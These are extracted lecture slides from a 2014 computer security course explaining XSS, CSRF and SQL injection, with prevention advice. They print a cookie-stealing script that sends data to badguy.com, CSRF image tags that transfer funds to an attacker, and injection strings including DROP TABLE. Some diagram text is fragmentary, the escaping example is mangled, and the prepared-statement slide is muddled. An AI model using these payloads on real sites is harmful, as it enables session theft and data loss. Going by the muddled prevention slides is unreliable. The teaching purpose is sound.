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CSCD 303Essential ComputerSecurityWinter 2014
Lecture 12 – XSS, SQL Injection and CRSF
Reading: See links - End of Slides
Overview
• Idea of XSS, CSRF and SQL injection is to violate the security of the Web Browser/Server system
• Inject content on web pages that trick users or
• Inject content on web pages that trick web servers
• Result is stolen resources or destruction of information
Web Based Attacks
Application LayerAttacker sends attacks
inside valid HTTP requests
Your custom code is tricked into doing something it should not
Security requires software development expertise, not signatures
Network LayerFirewall, hardening,
patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests.
Security relies on signature databases
Firew
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Hardened OS
Web Server
App Server
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Resrcs
Billin
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Custom Code
APPLICATIONATTACK
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Insider
Types of Web Attacks
• What kinds of Web attacks are popular?
• Inadequate validation of user input Named Attacks Below –Cross site scripting, XSS–Cross site request forgery, CSRF– SQL Injection
Cross-site Scripting (XSS) • Cross-site scripting (XSS) computer
security vulnerability typically found in web applications– “Allows code injection by malicious web users
into web pages viewed by other users”• Examples of such code include HTML code and
client-side scripts• An exploited cross-site scripting vulnerability can
be used by attackers to bypass access controls such as same origin policy for scripts– As of 2012 and 2013 cross-site scripting is
number one web site problem
Same Origin Policy Web Scripts
• Intent is to let users visit untrusted web sites without those web sites interfering with user's session with honest web sites
• Same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin
• Two pages have same origin if the protocol, port (if one is specified), and host are the same for both pages
• http://www.w3.org/Security/wiki/Same_Origin_Policy
URL Outcome Reason
http://store.company.com/dir2/other.html Success
http://store.company.com/dir/inner/another.html Success
https://store.company.com/secure.html Failure Different protocol
http://store.company.com:81/dir/etc.html Failure Different port
http://news.company.com/dir/other.html Failure Different host
Example Websites XSS’d• A hacker was able to insert JavaScript code into
the Obama community blog section– The JavaScript would redirect the users to the Hillary
Clinton website http://www.youtube.com/watch?v=pAS7kCgjkEw
http://www.crn.com/news/security/207401353/ obama-website-hacked-users-redirected-to-clinton-
campaign.htm
• Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs
• List of websites XSS are here http://www.xssed.com/archive
• Example of XSS Attackhttp://www.acunetix.com/websitesecurity/xss/
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Cross Site Scripting (XSS)
• Recall …– Scripts embedded in web pages run in
browsers– Scripts can access cookies • Get private information
–Manipulate page objects• Controls what users see
– Scripts controlled by same-origin policy• How could XSS occur?–Web applications often take user inputs and
use them as part of webpage
XSS Example • User input is echoed into HTML response• Example: Search field– http://victim.com/search.php ? term =
apple
search.php responds with this page:
<HTML> <TITLE> Search Results </TITLE>
<BODY>Results for <?php echo $_GET[term] ?> :. . .</BODY> </HTML>
• Is this exploitable?
XSS ExampleAttacker’s Bad input
• Problem: No validation of input term • Consider this link: http://victim.com/search.php ? term =
<script> window.open(“http://badguy.com?cookie = ” + document.cookie ) </script>
• What if user clicks on this link?1. Browser goes to victim.com/search.php2. Victim.com returns
<HTML> Results for <script> … </script>Browser executes script:
• Sends badguy.com cookie for victim.com
XSS Results of this Attack• Why would user click on such a link?– Phishing email in webmail client (e.g.
gmail).– Link in doubleclick banner ad–… many, many ways to fool user into
clicking
• What if badguy.com gets cookie for victim.com ?– Cookie can include session authentication
for victim.com• Or other data intended only for
victim.com Violates same origin policy
XSS Example
• However, there is a great site with many cut and paste opportunities to try this out
A complete cheat sheet for XSS:
http://ha.ckers.org/xss.html
Preventing XSS
• Escape all user input when it is displayed– Escaping converts the output to harmless
html entities• <script> becomes <script> • but still displayed as <script>
–Methods:• OWASP ESAPI• Java Standard Tag Library (JSTL) <c:out/>
OWASP XSS Prevention Cheat Sheet https://www.owasp.org/index.php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Preventing XSS Security Expert Coding Recommendations
http://www.jtmelton.com/tag/cross-site-scripting/
.NET: use the Microsoft Anti-XSS Library
http://msdn.microsoft.com/en-us/security/aa973814.aspx
XSS Prevention
Noscript Firefox Add-on• Noscript: JavaScript, Java, Flash Silverlight and possibly other executable contents are blocked by default–Will be able to allow JavaScript/Java/...
execution (scripts from now on) selectively, on the sites you trust
–Must first enable Javascript in Firefox http://noscript.net/features
Cross Site Request ForgeryCSRF
What is Cross Site Request Forgery?
Define it Cross-Site Request Forgery (CSRF) is an attack
that tricks victim into loading a page that contains a malicious request
It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf
• Change victim's e-mail address,• Change home address, or • Change password, or purchase something
CSRF Attack - Background
•WWhen you authenticate to Web application, Server provides you with a session cookie•TBrowser remembers session cookie name, value and domain it came from for further use
– From this point on, every request initiated from browser to the application will contain the session identifier for the particular domain
– The browser automatically supplies this information so the developers don’t have to do it themselves
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Attacker sets the trap on some website on the internet(or simply via an e-mail)
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Vulnerable site sees legitimate request from victim and performs the action requested
<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site
Custom Code
Accou
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Hidden <img> tag contains attack against vulnerable site
Application with CSRF vulnerability
While logged into vulnerable site,victim views attacker site
Cross Site Request Forgery (CSRF) •C
Cross Site Request Forgery, also XSRF or Cross Site Reference Forgery
– Works by exploiting trust of site for the user– In the case of XSS, the user is the victim– In the case of CSRF, the user is an accomplice.
Example: http://site/stocks?buy=100&stock=ebay
– Allows specific actions to be performed when requested
If a user is logged into site and an attacker tricks their browser into making a request to one of these task urls, then task is performed for logged in user … but the user didn’t intend to do it
Dangers of CSRF• Most of the functionality allowed by website can
be performed by an attacker utilizing CSRF
• What does this mean for victims?– This could include• Posting content to a message board,• Subscribing to an online newsletter,• Performing stock trades, using a shopping
cart, or• Even sending an e-card
CSRF More Details• The most popular ways to execute
CSRF attacks• Using a HTML image tag, or
JavaScript image object–An attacker will embed these into an
email or website so when user loads page or email, they perform a web request to any URL of attackers liking
• Examples follow
CSRF Code Examples• HTML Methods
IMG SRC <img src="http://host/?command">
SCRIPT SRC <script src="http://host/?command">
IFRAME SRC <iframe src="http://host/?command">
• JavaScript Methods
'Image' Object <script> var foo = new Image(); foo.src = "http://host/?command"; </script>
Another CSRF Example
• Say, online banking site performs a transfer of funds action by calling a URL such as:
http://bigsafebank.com/ transfer.do?
acct=ATTACKER&amount=1000
– This URL will transfer $1000 from a victim’s account into the attacker’s account if the victim is logged into their account within
BigSafeBank website
CSRF Example• Attacker must fool victim into clicking link
and executing malicious action• Attacker can create an HTML email with a
tag such as: <img src="http://bigsafebank.com/transfer.do?
acct=ATTACKER&amount=1000" width="1" height="1" border="0">
• When a victim views this HTML email,• Will see an error indicating that image could
not be loaded, • But browser still submits transfer request to
bigsafebank.com without requiring any further interaction from the user
CSRF Example
• Crazy part is … Even though the image was rendered unsuccessfully,
• Using <img> tag, an automatic http request was made that contained the victim's credentials,
• Ie. Session Cookie• Allowing the server to perform the
malicious action
CSRF Why Does it Happen
• A web application's vulnerability to CSRF is due to the following conditions:– The use of certain HTML tags will result
in automatic HTTP Request execution.–Our browsers have no way of telling if a
resource referenced by an <img> tag is a legitimate image– The loading of an image will happen
regardless of where that image is located.
CSRF Why Does it Happen
• More reasons why ...– Code within web application performs security
sensitive operations in response to requests without validation of user
– GET requests are especially vulnerable to this type of attack, but POST requests are not immune
Fixing CSRF with CSRF Guard
http://www.owasp.org/index.php/How_CSRFGuard_Works
• The Open Web Application Security Project (OWASP)• Developed a tool, CSRF Guard to implement session-token idea to thwart CSRF attacks• When user first visits site, application will generate and store a session specific unique request token• This session specific unique request token is then placed in each form and link of HTML response, ensuring that this value will be submitted with the next request• For each subsequent request, application must verify existence of unique token parameter and compare its value to that of value stored in user's session
SQL Injection
SQL Injection
• Very Common vulnerability (~71 attacks/hour )
• Exploits Web apps Use Databases– Poorly validate user input for SQL string literal
escape characters, e.g., '– Do not have strongly screened user input
• Example – escape characters"SELECT * FROM users WHERE name = '" + userName
+ "';" • If userName is set to ' or '1'='1, the resulting SQL is
SELECT * FROM users WHERE name = '' OR '1'='1';• This evaluates to SELECT * FROM users ⇒ displays
all users
SQL Injection
• Example – Select statement
"SELECT * FROM userinfo WHERE id = " + a_variable + ";"– If programmer doesn’t check a_variable is
a number, attacker can set a_variable = 1; DROP TABLE users– SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP
TABLE users; – Result of this query?–Users table is deleted
Impact of SQL Injection - Dangerous• At best: you can leak information• Depending on your configuration, a
hacker can– Delete, alter or create data– Grant direct access to the hacker– Escalate privileges and even take over the
OS
Preventing SQL injection • Use Prepared Statements
– $id=1234– “select * from accounts where id = “ + $idNext one is safer – More exact– “select * from accounts where id =1234”
• Validate input– Strong typing
• If the id parameter is a number, try parsing it into an integer– Business logic validation
• Escape questionable characters– ticks, --, semi-colon, brackets
Summary
• Experts suggest,– Internet Security model is completely
flawed–Made worse by Web 2.0–As developers … we can at least ensure
our code is not broken–As users … we have far less control– Browser security !!!!
References• CSRF Links– CGI FAQ on Cross Site Request Forgery
(CSRF) http://www.cgisecurity.com/articles/csrf-faq.shtml
– Art of Software Security Assessment – Same Origin
http://taossa.com/index.php/2007/02/08/same-origin-policy/
– OWASP CSRF Sitehttp://www.owasp.org/index.php/CSRF
– MSDN Article on CSRF Explainedhttp://msdn.microsoft.com/en-us/testing/
cc664492.aspx
–Wikipediahttp://en.wikipedia.org/wiki/Cross-
site_request_forgery
ReferencesXSS http://www.cgisecurity.com/articles/xss-faq.shtml
http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html
http://www.cgisecurity.com/articles/xss-faq.shtml
http://msdn.microsoft.com/en-us/testing/cc664492.aspxhttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
References
SQL Injection Cheat Sheethttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
SQL Preventionhttp://www.marcofolio.net/features/
how_you_can_prevent_an_sql_injection.html
SQL Attacks from UnixWizhttp://www.unixwiz.net/techtips/sql-injection.html
OWASP SQL Injectionhttps://www.owasp.org/index.php/
SQL_Injection_Prevention_Cheat_Sheet
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